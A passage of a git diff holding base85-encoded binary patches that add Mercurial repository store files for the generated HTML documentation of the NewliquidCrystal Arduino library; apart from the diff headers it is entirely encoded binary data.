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%0D|3<` zq@TEk0?`h1@7bFNz#TwYp&FX+qRv(+MWfUzj(fks-nXI zJ>*|Q9X|uzY|!6AnX6ZdaJTZDiGkS&V@oqVXlN*66(#x5H+4XLZAJULf5UXxc-Yw3 z;!?pW)K&kYC6fU%nGD^!DHW;MnW8(moS%Vi-Ft=+t^vcw&W4Gh?q4#WwE7;ZijScE z2$2H)olHy52(s1|w*kiX8bxLIp+PA0r1>SDKWV_z#^2KcxSI|eA7DT#v)CaOzw@%+id<4ti_#Lu37&PyiJGLTGd+*Z)W+m06=R~eenNqj;gAn!{Q#*rFj4#CjLIyduH7}Q1E`+{{!Bh4r`bgUYq~` N002ovPDHLkV1mM%xY_^! literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/files.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/files.html.i new file mode 100644 index 0000000000000000000000000000000000000000..d658beb1f44253e090b40d4b0273ba83038d8d94 GIT binary patch literal 5809 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/functions.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/functions.html.i new file mode 100644 index 0000000000000000000000000000000000000000..6828e325b32cac0221cf6eab193c4a5a93b844ec GIT binary patch literal 9742 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 